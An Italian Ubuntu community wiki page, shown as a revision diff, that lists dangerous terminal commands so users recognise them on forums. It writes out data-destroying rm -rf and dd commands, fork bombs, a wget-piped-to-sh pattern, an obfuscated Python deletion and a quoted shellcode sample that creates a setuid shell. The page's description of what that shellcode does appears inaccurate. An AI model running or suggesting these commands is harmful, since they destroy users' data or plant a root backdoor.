Wiki Ubuntu-it

Indice
Partecipa
FAQ
Wiki Blog
------------------
Ubuntu-it.org
Forum
Chiedi
Chat
Cerca
Planet
  • Pagina non alterabile
  • Informazioni
  • Allegati
  • Differenze per "AmministrazioneSistema/ComandiPericolosi"
Differenze tra le versioni 4 e 5
Versione 4 del 02/12/2008 15.51.04
Dimensione: 5942
Autore: LeoIannacone
Commento: Importata nella sezione.
Versione 5 del 02/12/2008 15.52.57
Dimensione: 5943
Autore: LeoIannacone
Commento: CategoryAmministrazione
Le cancellazioni sono segnalate in questo modo. Le aggiunte sono segnalate in questo modo.
Linea 115: Linea 115:
CategoryNuoviDocumenti CategoryAmministrazione

BR

Introduzione

In questa guida viene proposta una lista di comandi potenzialmente pericolosi, a scopo puramente educativo. Gli utenti che pubblicheranno questi comandi all'interno del [http://forum.ubuntu-it.org forum di supporto di Ubuntu-it] verranno permanentemente bannati, attraverso il blocco del loro account.

Bisogna ricordare prudenza nel loro utilizzo, nel caso in cui venisse chiesto di eseguire alcuni di questi comandi o scaricare script come soluzione ad un dato problema. In caso di dubbio, è sempre una buona idea attendere altre opinioni, e/o avere la spiegazione riguardo il comando e verificare se questa può avere un senso consultando la documentazione sui comandi di sistemi GNU/Linux.

Comandi da terminale

Anchor(rm)

Rimozione: rm

I seguenti comandi cancellano tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente:

rm -rf /
rm -rf .
rm -rf *

Se si volessero eliminare solamente file nascosti, i nomi dei quali iniziano con il carattere «.», il seguente comando _non sarebbe adatto allo scopo_:

rm -r .*

Il precedente comando potrebbe portare a risultati inattesi in quanto, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza .. che si riferisce alla cartella di livello superiore. Il seguente comando invece elimina solo i file nascosti contenuti nella cartella corrente:

rm -r .[^.]*

Formattazione: mkfs

Il comando mkfs viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, che verranno rimpiazzati con un nuovo filesystem. Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem ext3, o una partizione in base al suo nome (xxx preso come esempio).

mkfs
mkfs.ext3
mkfs.xxx

Blocco del dispositivo

Nella maggior parte dei casi questa procedura colpirà il filesystem causandone la totale perdita di dati (nell'esempio seguente xxx identifica un qualsiasi comando):

xxx > /dev/sda
dd if=qualcosa of=/dev/sda

Utilizzo sconsiderato di fork()

L'invocazione del comando di sistema fork permette la creazione di un processo "figlio" con le stesse caratteristiche del padre. I seguenti esempi lanciano un numero enorme di processi "figli" fino a quando il sistema si blocca, obbligando al riavvio del sistema; inoltre, questo può causare corruzione o danneggiamento dei dati presenti su disco. Una struttura del genere è avviabile con il seguente comando da terminale:

:(){:|&};:

È possibile replicare l'esempio precedente anche attraverso la maggior parte dei linguaggi di programmazione. In perl, sarebbe rappresentabile con il comando:

fork while fork

Esecuzione script

L'esecuzione di script all'interno di un terminale, può essere dannosa poiché questi possono contenere al loro interno ogni tipo istruzioni non volute. Si consiglia di eseguire script suggeriti solo da persone di dimostrata fiducia. I seguenti due esempi scaricano lo script in bash prova.sh dall'indirizzo http://sito_internet e lo eseguono.

wget http://sito_internet/prova.sh
sh ./prova.sh

Codice:

wget http://sito_internet/prova.sh -O- | sh

Compilazione codice sorgente

È facile nascondere del codice maligno in un largo codice sorgente. È quindi consigliabile compilare o eseguire solo codice del quale si conosce il sorgente, oppure ottenuto da siti rispettabili (ad esempio [http://sourceforge.net SourceForge], la pagina principale degli autori, una pagina web della Comunità di Ubuntu).

Un famoso esempio è apparso all'interno di una mailing list come dimostrazione di [http://seclists.org/fulldisclosure/2007/Aug/0071.html exploit] da eseguire con [:Sudo:privilegi di amministratore]:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Apparentemente può sembrare un codice incomprensibile, e affatto pericoloso. In realtà esegue il comando rm -rf ~ / & che distrugge la cartella Home dell'utente che ha eseguito il codice compilato.

Ulteriori esempi

L'esecuzione del seguente comando in [:Programmazione/Python:Python] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk, in quanto in realtà "sn!.sg!+" è semplicemente rm -rf * visto [#rm precedentemente].

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Archivi Tar

Alcuni archivi [:AmministrazioneSistema/FormatiDiCompressione#tar:tar] possono provocare spiacevoli inconvenienti e causare danni al sistema. L'argomento viene approfondito [:AmministrazioneSistema/FormatiDiCompressione#tar:qui].

In conclusione, si consiglia quindi di prestare molta attenzione ai comandi che vi vengono segnalati al fine di evitare spiacevoli inconvenienti.

Ulteriori risorse


CategoryAmministrazione